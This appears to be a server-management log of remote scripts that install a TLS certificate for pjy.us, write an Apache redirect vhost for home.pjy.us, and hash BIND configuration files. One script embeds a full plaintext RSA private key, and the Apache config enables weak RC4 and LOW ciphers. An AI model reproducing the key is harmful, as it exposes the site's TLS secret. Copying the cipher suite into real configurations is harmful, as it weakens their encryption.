MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 19:59:54: Establishing a connection
2026-05-08 19:59:54: 

PUT: /tmp/pkp650828

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
neMSAUCtBeH5iKlYCcXzP2lTtIPmuzy0MMnMjuwGXytGZo/+B5mR8pcpAoGAfutU
K0C2fWhPnaH8k5jTvZJnOubfJ03QPlN3YksgFzcG3rX3HSKxMZFv5co65YU4Mvqd
6eUoY6ohMbdyGg3sQ1n8Z4mlpg6fHXMGpukyteq2baAXPwO/+mqeepGBwcncMZ4m
VATVyhB3KqlE5gUicpF+JdBE36JvyzdDtA8uOXECgYEAiMe+7hDn8vEKHvo4CfeM
X1q7DedZ0p5N+OVag38tKGSj6VPGZYx6F3B53vACYOMc2r5Qo6dMm3J1C8gkffnX
wM5Hwz0b8LmldDMd+JquLpOxeVx2JykDuFttDKBTPMunIQb+4UoxLo72S/GTaro2
Xv4O9XeCPVv8OaDbDdr/5Pk=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-08 19:59:55: 

chmod 755 /tmp/pkp650828; /tmp/pkp650828; rm /tmp/pkp650828

2026-05-08 19:59:55: 


dir=/etc/ssl/certs


2026-05-08 19:59:55: 

PUT: /tmp/pkp267865

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-05-08 19:59:55: 

chmod 755 /tmp/pkp267865; /tmp/pkp267865; rm /tmp/pkp267865

2026-05-08 19:59:55: 


/tmp/pkp267865: line 64: [: !=: unary operator expected




STDERR:
/tmp/pkp267865: line 64: [: !=: unary operator expected


2026-05-08 19:59:55: 

PUT: /tmp/pkp920247

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-08 19:59:55: 

chmod 755 /tmp/pkp920247; /tmp/pkp920247; rm /tmp/pkp920247

2026-05-08 19:59:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-08 19:59:55: Establishing a connection
2026-05-08 19:59:56: 

PUT: /tmp/pkp624888

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 19:59:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp624888; rm /tmp/pkp624888'

2026-05-08 19:59:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
